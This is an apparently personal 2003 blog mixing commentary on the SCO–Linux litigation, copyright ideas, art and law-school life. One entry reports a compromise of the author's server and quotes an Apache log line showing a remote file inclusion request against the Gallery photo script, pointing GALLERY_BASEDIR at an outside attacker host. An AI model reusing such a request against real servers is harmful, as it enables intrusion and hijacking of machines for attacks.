joegratz.net

The logical conclusion of MTV’s affect on music — a song that makes no sense out of the context of its video (N.B.: audio is not work-safe). Really rather amusing, and Sheareresque in its use of backhaul satellite footage. From Abby.

Game Girl Advance has this rather remarkable essay by Wayne Bremser (creator of the wonderful harlem.org) comparing Matthew Barney’s Cremaster 3 (also mentioned here) to Donkey Kong. Richard Serra, in this analysis, is King Kong. While this sounds rather silly, and I have a feeling the essay is written at least with tongue near cheek, his point is a good one: Cremaster 3, like the Masonic quest narrative that underlies it, is structured like a classic side-scroller video game. It has climbing and jumping, the collection of objects that are required later in the game, various interesting monsters to avoid, and one big monster at the top. Moreover, it might be at least as effective as an interactive video game experience as it is in its current film form. Cool.

My linux box was hacked, allowing whoever did it to run some perl script (vb.pl) which ate all of my CPU and bandwidth (undoubtedly for some nefarious purpose) until I noticed. Fuckers. Happily, the process was running as www-data, so I’m probably not rooted. My apache installation, I admit, was not as secure as it could have been. Really rather annoying. So, my photos, which were served from that box, will be down until further notice, since the easiest thing to do is to just not run apache at all, and put them on a real server someplace when I get a chance.

UPDATE, 31 May 2003: I finally got around to looking through my Apache logs from the attack:

200.51.40.34 - - [28/May/2003:02:22:24 -0500] “GET /errors/configmode.php?GALLERY_BASEDIR=http://ddos.front.ru/ HTTP/1.0″ 200 289 “-” “Mozilla 5.0 [en-US]”

It looks pretty certain that a security hole in the photo album script I use, Gallery, was exploited to turn my box into a drone in a distributed denial-of-service attack. Yup, I failed to install a released security patch and got bitten in the ass. Two geek demerit points.

Incidentally, the host that contacted me is itself a cracked box, indicating that it was “hacked by redmax” and sporting this lovely message.

Fuckers.

So, now it appears that SCO doesn’t own the UNIX intellectual property after all. I’d thought they’d bought it from Novell, but this press release from Novell indicates that Novell still owns all of it, and that while SCO has rights to sublicense the code, it has no standing to bring a copyright or patent infringement claim against anyone. This seemingly hastily written response from SCO tips their hand a bit and weakens some of their FUD. All they’re able to do is take action against those in privity of contract with SCO, not Linux vendors or Linux customers in general. If everything SCO claims is true, which is doubtful, only IBM and other holders of UNIX-vendor licenses from SCO appear to be in danger of legal action. Everyone else — me, you, the Debian project, Red Hat — is in the clear.

I had sort of wondered, if their case was so strong, why they were proceeding on breach of contract and trade secret grounds instead of patents and copyrights. This takes care of that nicely; they don’t have any exclusive copyright or patent rights in UNIX at all.

Cringely’s column this week is on the SCO debacle. I think the idea may be to keep this in litigation, and thus keep the legality of Linux “uncertain”, for long enough to keep Linux from completely taking over the corporate server marketplace. Of course, once it comes out that (as I suspect) Microsoft paid SCO to commit corporate seppuku, the damage will be done, and the Fortune 500 will be running Windows Server 2005. And the Ashcroft justice department will turn a blind eye.

Take a look at this post on ESR’s blog. As should have been obvious, Terry Pratchett has the hacker nature.

This blog post amused the print-geek side of me.

Best comment yet on the SCO v. IBM fiasco, in which SCO has refused to tell anyone precisely what code is alleged to be infringing, said by Linus Torvalds:

“SCO is playing it like the Raelians, saying, ‘We’ll show you proof in a few weeks, through an expert panel that we trust.’ Let’s see if there is any baby or not.”

I have my doubts about the strength of SCO’s case. It would be rather unlike IBM to have failed to wall off the programmers touching the Unixware source from the programmers touching the Linux source, and my limited knowledge of trade secret law leads me to think that SCO may have messed up their trade secret claim by releasing the “ancient UNIX” System V source for free on the Internet, no NDA required. (For instance, I’m an SCO licensee for the System V source. And no, I’ve never hacked on the Linux kernel.) So perhaps this will all go away. Or perhaps IBM will buy SCO. At least Microsoft hasn’t bought SCO yet; that could lead to armageddon. Then again, Microsoft and SCO’s attorney David Boies haven’t gotten along so well in the past, and he’s probably advising SCO to avoid being bought by Microsoft because the FTC would have a fit, complicating matters further.

It’s finally happened: I’m the only one in the law library right now. It’s sort of a nice feeling.

William Gibson has posted his talk at the Director’s Guild of America Digital Day. I think he’s spot-on throughout, but especially here, where he makes the clearest statement I’ve seen of a very important idea:

Some futurists, looking at the individual musician’s role in the realm of the digital, have suggested that we are in fact heading for a new version of the previous situation, one in which patronage (likely corporate, and non-profit) will eventually become a musician’s only potential ticket to relative fame and wealth. The window, then, in which one could become the Beatles, occupy that sort of market position, is seen to have been technologically determined. And technologically finite. The means of production, reproduction and distribution of recorded music, are today entirely digital, and thus are in the hands of whoever might desire them. We get them for free, often without asking for them, as inbuilt peripherals. I bring music up, here, and the impact the digital is having on it, mainly as an example of the unpredictable nature of technologically driven change. It may well be that the digital will eventually negate the underlying business-model of popular musical stardom entirely. If this happens, it will be a change which absolutely no one intended, and few anticipated, and not the result of any one emergent technology, but of a complex interaction between several.

While watching The O’Reilly Factor this evening over dinner, the following off-color joke came to mind. If you think you might be offended (or if you’re a potential employer), no need to read on. If not, highlight the text in the box, and enjoy.

Jane Juska is being interviewed by Bill O’Reilly. She wrote the book “A Round-Heeled Woman” about her experience meeting up with lots of guys and having lots of sex over the past year or so at age 70. (Incidentally, she met them through a personals ad in the New York Review of Books saying, “Before I turn 67–next March–I would like to have a lot of sex with a man I like. If you want to talk first, Trollope works for me.” Trollop indeed.)

Q: So, how many of these guys turned out to be crazy?

A: Not many at all. Only a few.

Q: Because a woman has to be careful these days. So really, how many nuts did you run into?

A: Only three, and I simply never went to meet them. It wasn’t really much of a problem.

My proposed answer to the last question:

A: Well, two at a time, of course.

Back from Milwaukee, and going back into monastic mode for the next two weeks to work on my Law Review petition. But the last episode of Buffy provided a nice break. I thought it was really rather good, though nothing could quite live up to expectations.

I’m on the Amtrak Empire Builder, rolling from Minneapolis to Milwaukee for my brother’s high school graduation, posting from my laptop via my T-Mobile GPRS connection. The view is beautiful. Next time, perhaps, with all this technology, I’ll remember to put batteries in my camera so I can actually take pictures, since I now have the infrastructure for uploading them to the web from a speeding locomotive.

Larry Lessig proposes a tiny tax on copyrights older than 50 years. This functions as a mechanism to sweep out old copyrights that no longer have any economic value for their holders. Read up. I think this is a good idea.

(Only read this if you’re a fellow copyright geek. This seems to violate the Berne convention’s ban on formalities. They say since it’s outside the 50-year minimum we can do anything we want, and anyway that a tax is not a formality, but these don’t ring totally true for me. Admittedly, however, my knowledge of the Berne convention and its interpretation is limited. Hope it works.)

All done! Property was low-stress. Been out with jubilant 1Ls twice already, and that count should increase as the afternoon and evening progress. In other good news, I was selected for the Intellectual Property moot court team. I’m hoping that selection will turn out to be … well … moot, since I’m hoping to make Law Review or the IP journal, but it’s good news nonetheless.

As in most scholarly writing, the first footnote in a law review article describes the author’s institutional affiliation, thanks those who assisted in the production of the article, then notes, rather obviously, that “All errors that remain are my own.” A fine piece of traditional scholarly gentility, but sort of silly. Eugene Volokh found these amusing first footnotes.

Two items:

• This IHT article reveals that Microsoft salespeople are instructed to avoid losing a contract to Linux at all costs, including giving away the software to keep the client from using Linux.
• Also, SCO is sending out this letter to corporate Linux users. SCO is suing various Linux vendors claiming that the Linux kernel includes code from the original UNIX kernel, to which SCO now owns the rights. The letter appears to be intended to scare corporations into thinking that they may have liability if they continue to use Linux. This doesn’t seem to help SCO’s case against the Linux distributors it’s suing, but it does help Microsoft’s argument that Linux isn’t a good corporate server operating system. I think Microsoft may be somehow behind this move; SCO seems to be acting more for Microsoft’s benefit than for its own.